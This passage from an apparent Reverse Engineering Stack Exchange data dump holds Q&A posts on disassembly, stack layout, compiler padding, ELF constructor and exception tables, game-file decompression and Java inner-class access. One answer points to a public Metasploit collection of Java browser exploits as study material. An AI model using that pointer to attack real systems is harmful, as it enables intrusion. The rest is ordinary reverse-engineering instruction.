ebx, 4\n.text:00412DF9                 sub     esi, 4\n.text:00412DFC\n.text:00412DFC loc_412DFC:                             ; CODE XREF: NewConnectionRequest+41j\n.text:00412DFC                                         ; NewConnectionRequest+4Fj\n.text:00412DFC                 mov     eax, ZonePlayerCount\n.text:00412E01                 inc     ebp\n.text:00412E02                 add     edi, 3FFFFFFFh\n.text:00412E08                 add     ebx, 4\n.text:00412E0B                 add     esi, 4\n.text:00412E0E                 cmp     ebp, eax\n.text:00412E10                 jl      loc_412D85\n
\n\n

As far as I understand it is that the 0x3FFFFFFF has something to do with the bounds of the array?

\n\n

I think after the DisconnectUser and free of memory all the playerPointer pointers get shifted to the left is that correct? or it just changes the counter in different paths.

\n\n

I think the counter is either v3 can keep increasing while the loop is going but when a player gets removed it starts checking from the end of the list or something?

\n", "Title": "IDA PRO Hex-Rays 1.5 pseudo code understanding -=0x3FFFFFFFu; += 0x3FFFFFFFu;", "Tags": "|ida|decompilation|deobfuscation|hexrays|", "Answer": "

I think it should look like this I am 99.9% feel it's a element shifter something tells me that 0x3FFFFFFF is max bounds of a array so it's some compiler thing that it appends to make sure it gets the end of the array.

\n\n

I was wrong 0x3FFFFFFF is used to create signed numbers to emulate subtracting by adding. See comment by DCoder

\n\n
  if ( ZonePlayerCount > 0 )\n  {\n    v3 = 0;\n\n    do\n    {\n      if ( playerPointerList[v3].IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress && playerPointerList[v3].Port == Port )\n      {\n        printf(\"Connection is broken because same ip/port requested another connection\\n\");\n        sub_41CBD0((int)&playerPointerList[v3].encryptionPointer->ConnectionStatus);\n        Memory = *v5;\n        if ( *v5 )\n        {\n          DisconnectUser(*v5);\n          free(Memory);\n        }\n\n        memcpy(&playerPointerList[v3], &playerPointerList[v3 + 1], 4 * (ZonePlayerCount - v3 - 1));\n        //or\n        memmove(&playerPointerList[v3], &playerPointerList[v3 + 1], (ZonePlayerCount - v3 - 1) * sizeof(&playerPointerList));\n        --ZonePlayerCount;\n        --v3;\n      }\n      ++v3;\n    }\n    while ( v3 < ZonePlayerCount );\n  }\n
\n\n

Let me know if this is wrong, I'll remove the answer. (don't have original source code to compare against).

\n\n

Thought I shouldn't be using memcpy because it may leave junk in memory at the very end but i think that junk does no harm and eventually will be replaced with something useful when the time comes.

\n\n

Although it does seem memmove() is better suited here.

\n" }, { "Id": "6273", "CreationDate": "2014-09-21T13:41:29.650", "Body": "

i have the following function with three arguments:

\n\n
 sub_602667B proc near \n\n arg_0 = dword ptr 4\n arg_4 = dword ptr 8\n arg_8 = dword ptr 0Ch\n\n push    [esp+arg_8]\n push    [esp+4+arg_4]\n push    15\n push    [esp+0Ch+arg_0]\n
\n\n

Then I make the following sketch :

\n\n
 esp, ebp -> | Old EBP        |  +0\n             | Return Address |  +4\n             | Argument 1     |  +8\n             | Argument 2     |  +12\n             | Argument 3     |  +16\n
\n\n

And now I have the following on my paper:

\n\n
   push    [esp+arg_8]     => is Argument 2,( because esp + 12(=0Ch) = Argument 2\n   push    [esp+4+arg_4]   => is Argument 2,( because esp + 4 + 8 = Argument 2 )\n   push    15\n   push    [esp+0Ch+arg_0] => is Argument 3,( because esp + 12 + 4 = 16 = Argument 3\n
\n\n

So my question would be : Is that sketch ok? I wanted to ask because the point that Argument 2 is pushed twice and Argument 1 is not taken surprises me

\n", "Title": "Right order of function arguments", "Tags": "|assembly|stack|arguments|", "Answer": "

Your code snippet does not contain push esp, ebp, so why would there be an \"old EBP\" on the stack? At the beginning of the function, your stack should look like this:

\n\n
esp + 00 | return address\nesp + 04 | Argument 1 (arg_0)\nesp + 08 | Argument 2 (arg_4)\nesp + 0C | Argument 3 (arg_8)\n
\n\n

After that, remember that esp changes after each push. IDA is already doing the maths for you and splitting the displacement into the +4 and +arg_4 parts \u2014 they represent \"balance esp back to its initial value\" and \"convert the remaining offset to a local variable\", respectively. The function is pushing exactly those variables which are referenced:

\n\n
push    [esp+arg_8]      ; Argument 3\npush    [esp+4+arg_4]    ; Argument 2\npush    15\npush    [esp+0Ch+arg_0]  ; Argument 1\n
\n\n
\n\n

If you want to find out more, you can highlight the [esp+4+arg_4] part in the disassembly and press Q to convert the displacement to a single number.

\n\n

Then go to Options > General... > Disassembly and enable the Display disassembly line parts: [x] Stack pointer setting.

\n\n

Now you see the difference between the esp value at the start of the function and the esp value in the current line.

\n\n

Subtract that difference from the displacement in the push, and you should get the right local variable.

\n" }, { "Id": "6278", "CreationDate": "2014-09-22T05:14:42.187", "Body": "

Test is on x86 32bit Linux, Ubuntu 12.04, GCC 4.6.3 objdump 2.22

\n\n

Basically when I use gcc to produce assembly code of function foo like this:

\n\n
gcc -S foo.c -O2\n
\n\n

At the end of function foo, I can get a sequence of instructions like this (I modified it and attached each instruction with its machine code to make it clear):

\n\n
             ......\n1977                                                 .cfi_restore_state\n1978  8B150000 0000                                  movl    nodes, %edx\n1979  89442410                                       movl    %eax, 16(%esp)\n1980  A1000000 00                                    movl    i_depth, %eax\n1981  8974240C                                       movl    %esi, 12(%esp)\n1982  C7442404 FC000000                              movl    $.LC55, 4(%esp)\n1983  89542414                                       movl    %edx, 20(%esp)\n1984  89442408                                       movl    %eax, 8(%esp)\n1985  C7042401 000000                                movl    $1, (%esp)\n1986  E8FCFFFF FF                                    call    __printf_chk\n1987  E937FFFF FF                                    jmp     .L181\n1988                                         .L186:\n1989  E8FCFFFF FF                                    call    __stack_chk_fail\n\nfoo1:\n
\n\n

Which looks normal.

\n\n

However, when I compiled + linked to create the ELF executable file, and then disassembly it with objdump like this:

\n\n
gcc foo.c -O2\nobjdump -Dr -j .text foo\n
\n\n

The instruction produced by disassembler looks like this (I modified a little bit to make it easier to understand):

\n\n
11856 89442410                                mov %eax,0x10(%esp)\n11857 A1000000 00                             mov 0x80851AC,%eax\n11858 8974240C                                mov %esi,0xC(%esp)\n11859 C7442404 00000000                       movl $S_0x8064658,0x4(%esp)\n11860 89542414                                mov %edx,0x14(%esp)\n11861 89442408                                mov %eax,0x8(%esp)\n11862 C7042401 000000                         movl $0x1,(%esp)\n11863 E8FCFFFF FF                             call __printf_chk\n11864 E933FFFF FF                             jmp 0x80547EB\n11865\n11866 E8FCFFFF FF                             S_0x80548BC : call __stack_chk_fail\n11867 EB0D                                    jmp foo1\n11868 90                                      nop\n11869 90                                      nop\n11870 90                                      nop\n11871 90                                      nop\n11872 90                                      nop\n11873 90                                      nop\n11874 90                                      nop\n11875 90                                      nop\n11876 90                                      nop\n11877 90                                      nop\n11878 90                                      nop\n11879 90                                      nop\n11880 90                                      nop\n11881                                         foo1:\n
\n\n

Looking at the end of function foo, I find out a sequence of instructions which can not be found in the original assembly code.

\n\n

It seems like a padding issue, but I am not sure.

\n\n

So my questions are:

\n\n
    \n
  1. What's these instruction sequences for?
    2. \n
  2. Is there anyway to tell (assembler? linker?) do not generate these instruction sequences..? Because basically I am working a assembly code analysis tool, and these instruction sequences annoying the coding much.
    3. \n
\n", "Title": "Weird instruction identified on disassembler produced assembly code", "Tags": "|disassembly|assembly|x86|objdump|", "Answer": "
\n

What's these instruction sequences for?

\n
\n\n

They are for code optimization.

\n\n

CPU cache

\n\n

To optimize memory accesses, the CPU uses its own (small) internal memory called cache. It usually consists of several levels named L1, L2 etc. A lower suffix number means that the memory is located closer to the CPU core, thus is faster to access, but it's smaller as well. An illustration of this concept taken from link is given below:

\n\n

\"CPU

\n\n

Accessing the CPU cache is critically faster than reading RAM memory (see this question for more information) and that's why it is better to have data in cache instead of reading it each time from RAM (or even worse - hard disk).

\n\n

But the CPU doesn't cache only data - it caches instructions as well. And for instructions to be cached effectively, they have to be properly aligned. Following cite comes from here:

\n\n
\n

Most microprocessors fetch code in aligned 16-byte or 32-byte blocks. If an important subroutine entry or jump label happens to be near the end of a 16-byte block then the microprocessor will only get a few useful bytes of code when fetching that block of code. It may have to fetch the next 16 bytes too before it can decode the first instructions after the label.

\n \n

This can be avoided by aligning important subroutine entries and loop entries by 16. [...] We may align subroutine entries by the cache line size (typically 64 bytes) if the subroutine is part of a critical hot spot and the preceding code is unlikely to be executed in the same context.

\n
\n\n

So, it may be the case that under foo1: there is some short loop and compiler decided to align this block to put it in the CPU cache so it is executed faster.

\n\n

As @user45891 already stated in the comment, such an optimization in gcc is turned on with the option -O2, so don't use it when you don't want such optimizations.

\n\n

But why the difference between the two outputs?

\n\n

Because the first result comes from just two first states of compilation performed by gcc (link):

\n\n
\n

Compilation can involve up to four stages: preprocessing, compilation proper, assembly and linking, always in that order.

\n \n

-S

\n \n

Stop after the stage of compilation proper; do not assemble.

\n
\n\n

While the second one is \"entirely compiled\" and linked.

\n" }, { "Id": "6279", "CreationDate": "2014-09-22T08:23:18.727", "Body": "

I would like to step into some code which is ran on a new thread. Luckily, after the initial startup this is the only thread that is newly created in the program. I can set the debugger to break on the creation of a new thread. But all I see is the WinAPI and lower level calls that execute the thread. How can I step into the code that is executed on the thread to see what it does?

\n", "Title": "Debugging the code executed on a new thread", "Tags": "|ollydbg|debugging|", "Answer": "

BP on CreateThread, then see 3rd parameter -> lpStartAddress of the Thread (its EntryPoint). Now simply BP on that address and step from there when it breaks

\n" }, { "Id": "6280", "CreationDate": "2014-08-27T14:37:48.480", "Body": "

I have a problem where I'm instrumenting stripped binaries; I don't know the start of main(). But there's always an init(), and init() calls libc_start_main(), which receives a pointer to main.

\n\n

If I can instrument libc with analysis code to intercept the argument, then I can retrieve that address and place another pin callback there so that I can get it's arguments. The problem is, I don't know what the calling convention is; I was thinking, if I could boil this down to a matter of the calling convention, then I do this for any function. I did notice that gdb knows the calling convention of libc_start_main(), in fact it is so good, it knows the order of the arguments as well.

\n\n

I did read a short note on stackoverflow that stated that the name of the function would yield the calling convention: \u00ab How to find the calling convention of a third party dll? \u00bb

\n\n

If it's not possible to know the calling convention programmatically, what is the opinion on creating a local build of libc in order to be able to force a particular calling convention onto __libc_start_main()... you see my chain of thought. Does anybody think that this is a better approach, rather than solving it in the general case ?

\n", "Title": "How to programmatically identify binary calling convention?", "Tags": "|c++|calling-conventions|", "Answer": "

I found that (at least on Linux) it was reliable to intercept _init and to read from a constant offset from the stack pointer was pretty reliable. I ended up producing a pintool that would do just that.

\n" }, { "Id": "6283", "CreationDate": "2014-09-22T20:13:16.543", "Body": "

I have wrote a program in C++ and I built it as a DLL. I want to utilize functions that are in this DLL in another program to overwrite other functions. Unfortunately, they're not any exports and cannot be added to the imports table. Not only that I have functions that I would like to be able to jmp to and utilize and then return.

\n\n

Did I perhaps build this incorrectly ?

\n\n

I have the source so I can make changes in VSC++ although, I can would preferable like to do this in ASM.

\n\n

I have thought about calling LoadLibrary() but that I believe will put the DLL in a random location and making patches to this will be a bit difficult, if I am not mistaken.

\n\n

Let me know your ideas on how I can solve this.

\n", "Title": "Most efficient way to extend a program using a DLL", "Tags": "|disassembly|ollydbg|x86|dll|", "Answer": "

The most efficient and easiest way is to export the functionality using dllexport in C++.

\n\n

Any other way is rewriting the functionality of windows APIs which defeats point of writing an 'efficient' way to extend the functionality.

\n\n

You thought about doing what with LoadLibrary? You know that LoadLibrary returns the base address of where it's loaded? Or you could even use GetModuleHandle to get the base. So, it's easy enough to do Base + Offset

\n\n

If this doesn't answer your question then you can elaborate why you can't use dllexport?

\n\n

Edit:\nInside your dll add the code:

\n\n
__declspec(dllexport) void __stdcall ShowMessageBox( )\n{\n    MessageBoxA( 0, \"HelloWorld from exported function!\", \"\", MB_OK );\n}\n
\n\n

Inside your exe add the code:

\n\n
#pragma comment(lib, \"TheFullPathToYourOutputDirOrUseRelaltive\\\\Bla.lib\")\n\n__declspec(dllimport) void __stdcall ShowMessageBox( );\n
\n\n

The lib file will be generated in the output directory of your dll. This is only required for build and isn't required for distribution to your end-users.

\n\n

Finally call our function ShowMessageBox( );.

\n" }, { "Id": "6285", "CreationDate": "2014-09-23T00:54:35.983", "Body": "

Test is on x86, 32-bit Linux. I am using g++ 4.6.3 and objdump 2.22

\n

Here is a simple C++ code I am working on:

\n
#include <iostream>\n\nusing namespace std;\n\nmain()\n{\n    cout << "Hello World!" << endl;\n    return 0;\n}\n
\n

When I compile it into assembly code using :

\n
gcc -S hello.cc\n
\n

I can find out a ctors section in the hello.s below:

\n
.section    .ctors,"aw",@progbits\n.align 4\n.long   _GLOBAL__sub_I_main\n.weakref    _ZL20__gthrw_pthread_oncePiPFvvE,pthread_once\n.weakref    _ZL27__gthrw_pthread_getspecificj,pthread_getspecific\n.weakref    _ZL27__gthrw_pthread_setspecificjPKv,pthread_setspecific\n.weakref    _ZL22__gthrw_pthread_createPmPK14pthread_attr_tPFPvS3_ES3_,pthread_create\n.weakref    _ZL20__gthrw_pthread_joinmPPv,pthread_join\n.weakref    _ZL21__gthrw_pthread_equalmm,pthread_equal\n.weakref    _ZL20__gthrw_pthread_selfv,pthread_self\n.weakref    _ZL22__gthrw_pthread_detachm,pthread_detach\n.weakref    _ZL22__gthrw_pthread_cancelm,pthread_cancel\n.weakref    _ZL19__gthrw_sched_yieldv,sched_yield\n.weakref    _ZL26__gthrw_pthread_mutex_lockP15pthread_mutex_t,pthread_mutex_lock\n.weakref    _ZL29__gthrw_pthread_mutex_trylockP15pthread_mutex_t,pthread_mutex_trylock\n.weakref    _ZL31__gthrw_pthread_mutex_timedlockP15pthread_mutex_tPK8timespec,pthread_mutex_timedlock\n.weakref    _ZL28__gthrw_pthread_mutex_unlockP15pthread_mutex_t,pthread_mutex_unlock\n.weakref    _ZL26__gthrw_pthread_mutex_initP15pthread_mutex_tPK19pthread_mutexattr_t,pthread_mutex_init\n.weakref    _ZL29__gthrw_pthread_mutex_destroyP15pthread_mutex_t,pthread_mutex_destroy\n.weakref    _ZL30__gthrw_pthread_cond_broadcastP14pthread_cond_t,pthread_cond_broadcast\n.weakref    _ZL27__gthrw_pthread_cond_signalP14pthread_cond_t,pthread_cond_signal\n.weakref    _ZL25__gthrw_pthread_cond_waitP14pthread_cond_tP15pthread_mutex_t,pthread_cond_wait\n.weakref    _ZL30__gthrw_pthread_cond_timedwaitP14pthread_cond_tP15pthread_mutex_tPK8timespec,pthread_cond_timedwait\n.weakref    _ZL28__gthrw_pthread_cond_destroyP14pthread_cond_t,pthread_cond_destroy\n.weakref    _ZL26__gthrw_pthread_key_createPjPFvPvE,pthread_key_create\n.weakref    _ZL26__gthrw_pthread_key_deletej,pthread_key_delete\n.weakref    _ZL30__gthrw_pthread_mutexattr_initP19pthread_mutexattr_t,pthread_mutexattr_init\n.weakref    _ZL33__gthrw_pthread_mutexattr_settypeP19pthread_mutexattr_ti,pthread_mutexattr_settype\n.weakref    _ZL33__gthrw_pthread_mutexattr_destroyP19pthread_mutexattr_t,pthread_mutexattr_destroy\n
\n

However, when I assembly the asm code, producing an exe file and use the objdump produce the ctors section's contain like this:

\n
objdump -Dr -j .ctors hellocpp\n
\n

All I can get is like this:

\n
hellocpp:     file format elf32-i386\n\n\nDisassembly of section .ctors:\n\n08049efc <__CTOR_LIST__>:\n 8049efc:   ff                      (bad)  \n 8049efd:   ff                      (bad)  \n 8049efe:   ff                      (bad)  \n 8049eff:   ff 00                   incl   (%eax)\n\n08049f00 <__CTOR_END__>:\n 8049f00:   00 00                   add    %al,(%eax)\n ...\n
\n

Currently I am trying to recover the content of some ELF binaries compiled from c++ program..

\n

So I am wondering if there is a way to get the content of ctors which equals to what g++ produced?

\n

Update:

\n

Thanks a lot for @Igor's help. But I am still trapped in looking for class's constructor and destructor info from ELF binary.

\n

When evolving class definition, g++ would produce these info in the .ctors section:

\n
    .globl  _ZN8ComputerC1Ev\n    .set    _ZN8ComputerC1Ev,_ZN8ComputerC2Ev\n    .globl  _ZN8ComputerD1Ev\n    .set    _ZN8ComputerD1Ev,_ZN8ComputerD2Ev\n
\n

Generally _ZN8ComputerC2Ev is the name of a class's constructor while _ZN8ComputerD2Ev is its destructor.

\n

However, I just can not find corresponding info in the objdump dumped .ctors or .init_array sections.. I also tried .eh_frame and gcc_except_table, but the information dumped is massive.. I can not figure out the meaning of those information..

\n

Could anyone give me guide?

\n", "Title": "How to recover information stored in .ctors section?", "Tags": "|disassembly|x86|c++|elf|", "Answer": "

As Igor stated, the .ctors section is a list of function pointers, ending with a sentinel value of 0xffffffff. To see its contents, just do

\n\n
$ objdump -s -j.ctors bar.so\n
\n\n

But your assembly file only contains weak symbols. Those are foreign functions in other libraries, and are invoked when their libraries are loaded at runtime.

\n\n

For example, put this in a file bar.cpp:

\n\n
class Foo {\npublic:\n  int i;\n\n  Foo(int n) : i(n) {\n  }\n};\n\nFoo global_foo(123);\n
\n\n

Compile with

\n\n
$ g++ -shared -fPIC bar.cpp -obar.so\n
\n\n

The contents of the .init_array section is

\n\n
$ objdump -s -j.init_array bar.so\n\nbar.so:     file format elf64-x86-64\n\nContents of section .init_array:\n 200820 ad060000 00000000                    ........        \n
\n\n

There's a function pointer there, 0xad060000 00000000. But you have to change its endianness, e.g. with Python:

\n\n
>>> import struct\n>>> import binascii\n>>> binascii.hexlify(struct.pack(\"<Q\", 0xad06000000000000))\n'00000000000006ad'\n
\n\n

Now list all symbols and grep for that address:

\n\n
$ objdump -C --syms bar.so | grep 00000000000006ad\n00000000000006ad l     F .text  0000000000000015\n  [... on above line ...] global constructors keyed to bar.cpp\n
\n\n

The disassembly for it,

\n\n
$ objdump -C -d bar.so\n
\n\n

shows

\n\n
00000000000006ad <global constructors keyed to bar.cpp>:\n 6ad:   55                      push   %rbp\n 6ae:   48 89 e5                mov    %rsp,%rbp\n 6b1:   be ff ff 00 00          mov    $0xffff,%esi\n 6b6:   bf 01 00 00 00          mov    $0x1,%edi\n 6bb:   e8 ba ff ff ff          callq  67a <__static_initialization_and_destruction_0(int, int)>\n 6c0:   c9                      leaveq \n 6c1:   c3                      retq   \n
\n\n

which jumps to __static_initialization_and_destruction_0(int, int):

\n\n
000000000000067a <__static_initialization_and_destruction_0(int, int)>:\n 67a:   55                      push   %rbp\n 67b:   48 89 e5                mov    %rsp,%rbp\n 67e:   48 83 ec 10             sub    $0x10,%rsp\n 682:   89 7d fc                mov    %edi,-0x4(%rbp)\n 685:   89 75 f8                mov    %esi,-0x8(%rbp)\n 688:   83 7d fc 01             cmpl   $0x1,-0x4(%rbp)\n 68c:   75 1d                   jne    6ab <__static_initialization_and_destruction_0(int, int)+0x31>\n 68e:   81 7d f8 ff ff 00 00    cmpl   $0xffff,-0x8(%rbp)\n 695:   75 14                   jne    6ab <__static_initialization_and_destruction_0(int, int)+0x31>\n 697:   be 7b 00 00 00          mov    $0x7b,%esi\n 69c:   48 8b 05 9d 03 20 00    mov    0x20039d(%rip),%rax        # 200a40 <_DYNAMIC+0x1e8>\n 6a3:   48 89 c7                mov    %rax,%rdi\n 6a6:   e8 f5 fe ff ff          callq  5a0 <Foo::Foo(int)@plt>\n 6ab:   c9                      leaveq \n 6ac:   c3                      retq   \n
\n\n

which puts 123 (0x7b) on the stack and calls Foo::Foo(int).

\n" }, { "Id": "6297", "CreationDate": "2014-09-24T06:03:09.953", "Body": "

I'm trying to figure out how this .RBB file is packed it's from a gamecube game I'm trying to learn how to reverse engineer it so I can extract the file and look at its contents.

\n\n

I don't know were to start honestly so I was hoping someone could point me in the right direction. I've added a link to the file below incase anyone wants to take a look at it.

\n\n

https://dl.dropboxusercontent.com/u/227520696/CITY.RBB

\n\n

Additional Information:

\n\n

The game is called Extreme G Racing

\n\n

Edit: I've looked it with a hex editor and it shows some japanese text

\n\n

\"enter

\n", "Title": "Help old gamecube file format", "Tags": "|memory|decompress|", "Answer": "

The bytes at offset 0x10 are 78 DA, which hints very strongly to the zlib compression algorithm.

\n\n
0000000000: 00 52 42 42 00 6C 8C 60 \u2502 00 3E CE 22 27 4A 88 69   RBB l\u0152` >\u00ce\"'J\u02c6i\n0000000010: 78 DA 74 9D 0B BC 97 63 \u2502 D6 F7 77 24 A9 B0 25 95  x\u00dat\u2642\u00bc\u2014c\u00d6\u00f7w$\u00a9\u00b0%\u2022\n            ^^^^^\n
\n\n

I use this small Python script to decompress zlib-compressed streams:

\n\n
# usage: unz.py infile outfile [start offset]\nimport zlib, sys\ninf = open(sys.argv[1],\"rb\")\noff = 0\nif len(sys.argv)>3: off = int(sys.argv[3],16)\ninf.seek(off)\ncdata = inf.read()\n# auto-detect zlib/gzip/deflate\n# http://stackoverflow.com/a/22310760/422797\nd = zlib.decompressobj(zlib.MAX_WBITS|32)\nudata = d.decompress(cdata)\nudata += d.flush()\n\nclen = len(cdata) - len(d.unused_data)\nulen = len(udata)\n\nopen(sys.argv[2],\"wb\").write(udata)\nprint(\"%d -> %d; end of data: %08X\" % (clen, ulen, off+clen))\n
\n\n

If I use it like this:

\n\n
unz.py CITY.RBB CITY.UNP 10\n
\n\n

It decompresses nicely:

\n\n
3696259 -> 7113808; end of data: 00386693\n
\n\n

And the output has some structure:

\n\n
0000000000: 00 00 00 01 00 00 00 00 \u2502 00 00 00 01 00 00 00 01     \u263a       \u263a   \u263a\n0000000010: 00 00 00 01 02 00 00 02 \u2502 00 00 00 50 00 6C 8C 10     \u263a\u263b  \u263b   P l\u0152\u25ba\n0000000020: 00 00 00 10 00 00 00 01 \u2502 00 00 00 00 00 00 00 00     \u25ba   \u263a\n0000000030: CA 60 FA A2 42 43 52 00 \u2502 00 00 00 00 00 00 00 61  \u00ca`\u00fa\u00a2BCR        a\n0000000040: 58 58 58 58 58 58 58 58 \u2502 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX\n0000000050: 00 00 00 00 00 0D C4 6C \u2502 00 55 35 E0 00 61 3E 30       \u266a\u00c4l U5\u00e0 a>0\n0000000060: 00 63 79 F0 00 01 30 D3 \u2502 00 00 43 C7 00 03 02 14   cy\u00f0 \u263a0\u00d3  C\u00c7 \u2665\u263b\u00b6\n0000000070: 00 00 8E F0 00 00 C1 7E \u2502 00 00 00 00 00 00 00 00    \u017d\u00f0  \u00c1~\n0000000080: 00 61 3E 30 FF FF FF FF \u2502 C3 7C D3 18 C2 B4 AF 10   a>0\u00ff\u00ff\u00ff\u00ff\u00c3|\u00d3\u2191\u00c2\u00b4\u00af\u25ba\n0000000090: C4 74 57 67 C4 FB 0A 00 \u2502 C4 A2 0D 4B C4 F5 E2 F3  \u00c4tWg\u00c4\u00fb\u25d9 \u00c4\u00a2\u266aK\u00c4\u00f5\u00e2\u00f3\n00000000A0: 44 BB D5 3A 44 8B 77 68 \u2502 41 45 C6 00 00 00 00 00  D\u00bb\u00d5:D\u2039whAE\u00c6\n
\n\n

However, making sense of it may require you to look at the game code.

\n" }, { "Id": "6306", "CreationDate": "2014-09-24T17:45:14.177", "Body": "

Where i can find a working link to this tutorial? I have searched a lot on the net but all links are broken. Could anyone upload it somewhere?

\n\n

Original link\nhttp://www.alex-ionescu.com/vb.pdf

\n", "Title": "Where can i find Visual Basic Image Internal Structure Format by Alex Ionescu?", "Tags": "|patch-reversing|visual-basic|", "Answer": "

http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf

\n\n

[more chars ftw][more chars ftw]

\n" }, { "Id": "6311", "CreationDate": "2014-09-25T01:01:21.850", "Body": "

For C++ program with try catch defined, when using g++ to compile it into assembly code (test is on x86 32bit Linux, g++ 4.6.3)

\n\n
g++ -S cppexcept.cc\n
\n\n

A specified section called .gcc_except_table is produced like below:

\n\n
        .section        .gcc_except_table\n        .align 4\n.LLSDA980:\n        .byte   0xff\n        .byte   0\n        .uleb128 .LLSDATT980-.LLSDATTD980\n.LLSDATTD980:\n        .byte   0x1\n        .uleb128 .LLSDACSE980-.LLSDACSB980\n.LLSDACSB980:\n        .uleb128 .LEHB3-.LFB980\n        .uleb128 .LEHE3-.LEHB3\n        .uleb128 0\n        .uleb128 0\n        .uleb128 .LEHB4-.LFB980\n        .uleb128 .LEHE4-.LEHB4\n        .uleb128 .L19-.LFB980\n        .uleb128 0x3\n        .uleb128 .LEHB5-.LFB980\n        .uleb128 .LEHE5-.LEHB5\n        .uleb128 0\n        .uleb128 0\n        .uleb128 .LEHB6-.LFB980\n        .uleb128 .LEHE6-.LEHB6\n        .uleb128 .L20-.LFB980\n        .uleb128 0\n        .uleb128 .LEHB7-.LFB980\n        .uleb128 .LEHE7-.LEHB7\n        .uleb128 .L21-.LFB980\n        .uleb128 0\n
\n\n

After the compilation into exe file with ELF format, it seems that there are two sections related to exception handling, which are .gcc_except_table and .eh_frame.

\n\n

However, I dumped the contents of these two section with the following commands, comparing the labels' memory addresses with what are defined in .gcc_except_table, but it seems too blur to me...

\n\n
objdump -s -j .gcc_except_table cppexcept\nobjdump -s -j .eh_frame cppexcept\n
\n\n

So my question is:

\n\n

Is there any way to recover the information defined in the .gcc_except_table (which is shown above) from ELF file's .gcc_except_table and eh_frame tables?

\n", "Title": "How to recover the exception info from .gcc_except_table and .eh_handle sections?", "Tags": "|disassembly|assembly|x86|c++|exception|", "Answer": "

(I think you may get some extra comments if you use -fverbose-asm.)

\n\n

Recovering information from these tables is definitely possible, although documentation is scarce and is often present only in the code which parses them.

\n\n

The .eh_frame layout is described briefly in the LSB documentation. Ian Lance Taylor (author of the gold linker) also made some blog posts on .eh_frame and .gcc_except_table layout.

\n\n

For a more reference-like description, check my Recon 2012 slides (start at 37 or so).

\n\n

I've made an IDA script (gcc_extab.py) which parses .eh_frame and .gcc_except_table and formats them nicely.

\n\n

Taking a sample program:

\n\n
void f()\n{\n    throw 1;\n}\n\nint main()\n{\n    int j;\n    try {\n        f();\n    } catch (int i) {\n        j = i;\n    }   \n    return 0;\n}\n
\n\n

I'll show the commented structures produced by GCC.

\n\n

First, the .eh_table (some parts omitted for clarity):

\n\n
.Lframe1:                     # start of CFI 1\n    .long   .LECIE1-.LSCIE1   # length of CIE 1 data\n.LSCIE1:                      # start of CIE 1 data\n    .long   0                 # CIE id\n    .byte   0x1               # Version\n    .string \"zPL\"             # augmentation string:\n                              # z: has augmentation data\n                              # P: has personality routine pointer\n                              # L: has LSDA pointer\n    .uleb128 0x1              # code alignment factor\n    .sleb128 -4               # data alignment factor\n    .byte   0x8               # return address register no.\n    .uleb128 0x6              # augmentation data length (z)\n    .byte   0                 # personality routine pointer encoding (P): DW_EH_PE_ptr|DW_EH_PE_absptr\n    .long   __gxx_personality_v0 # personality routine pointer (P)\n    .byte   0                 # LSDA pointer encoding: DW_EH_PE_ptr|DW_EH_PE_absptr\n    .byte   0xc               # Initial CFI Instructions\n    [...]\n    .align 4\n.LECIE1:                      # end of CIE 1\n    [...]\n\n.LSFDE3:                      # start of FDE 3\n    .long   .LEFDE3-.LASFDE3  # length of FDE 3\n.LASFDE3:                     # start of FDE 3 data\n    .long   .LASFDE3-.Lframe1 # Distance to parent CIE from here\n    .long   .LFB1             # initial location                \n    .long   .LFE1-.LFB1       # range length                    \n    .uleb128 0x4              # Augmentation data length (z)    \n    .long   .LLSDA1           # LSDA pointer (L)                \n    .byte   0x4               # CFI instructions                \n    .long   .LCFI2-.LFB1\n    [...]\n    .align 4\n.LEFDE3:                      # end of FDE 3\n
\n\n

Next, the LSDA (language-specific data area) in .gcc_except_table, referenced by FDE 3:

\n\n
.LLSDA1:                           # LSDA 1\n    .byte   0xff                   # LPStart encoding: DW_EH_PE_omit\n    .byte   0                      # TType encoding: DW_EH_PE_ptr|DW_EH_PE_absptr\n    .uleb128 .LLSDATT1-.LLSDATTD1  # TType offset\n.LLSDATTD1:                        # LSDA 1 action table\n    .byte   0x1                    # call site encoding: DW_EH_PE_uleb128|DW_EH_PE_absptr\n    .uleb128 .LLSDACSE1-.LLSDACSB1 # call site table length\n.LLSDACSB1:                        # LSDA 1 call site entries\n    .uleb128 .LEHB0-.LFB1          # call site 0 start\n    .uleb128 .LEHE0-.LEHB0         # call site 0 length\n    .uleb128 .L8-.LFB1             # call site 0 landing pad\n    .uleb128 0x1                   # call site 0 action (1=action 1)\n    .uleb128 .LEHB1-.LFB1          # call site 1 start\n    .uleb128 .LEHE1-.LEHB1         # call site 1 length\n    .uleb128 0                     # call site 1 landing pad\n    .uleb128 0                     # call site 1 action (0=no action)\n.LLSDACSE1:                        # LSDA 1 action table entries\n    .byte   0x1                    # action 1 filter (1=T1 typeinfo)\n    .byte   0                      # displacement to next action (0=end of chain)\n    .align 4\n    .long   _ZTIi                  # T1 typeinfo (\"typeinfo for int\")\n.LLSDATT1:                         # LSDA 1 TTBase\n
\n" }, { "Id": "6314", "CreationDate": "2014-09-25T13:49:23.777", "Body": "

I am looking to get started with Java exploitation. I have not found a good place start or even how to start, so I am asking here. What are the publicly available exploits for Java that one can study ? Also what would be a good starting point ?(ex. maybe decompilation )

\n", "Title": "exploit - Getting started with Java exploitation", "Tags": "|exploit|java|", "Answer": "
\n

What are the publicly available exploits for Java that one can study ?

\n
\n\n

There are about 20 publicly available exploits for Java here, with annotated source code and references to the vulnerabilities being exploited: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/browser

\n" }, { "Id": "6320", "CreationDate": "2014-09-26T14:51:03.367", "Body": "

I recently heard that using Java inner classes in a class that enclose sensitive information is causing the private data of the class to be changed to protected at the bytecode level (meaning that any other class of the package may access it).

\n\n

As I do not have any expertise in bytecode reading I would like to know if it is true, and get some explanation of this problem.

\n", "Title": "What is the problem with using inner classes in a class enclosing sensitive information?", "Tags": "|exploit|java|", "Answer": "

The problem is that there is no notion of inner classes at the bytecode level. Each inner class is compiled to a separate class with no special privileges compared to any other class in the same package.

\n\n

So in order to support the functionality of inner classes, the compiler has to add getter methods behind the scenes. Every time you access a field in the outer class from the inner class, the compiler needs to generate a getter in the outer class. However, these getters cannot be private because then nothing could call them! Therefore, the getter is always at least protected, meaning any class in the same package can access it.

\n\n

Update: Java 11 added a new bytecode feature to address this issue, so this does not apply to recent versions of Java.

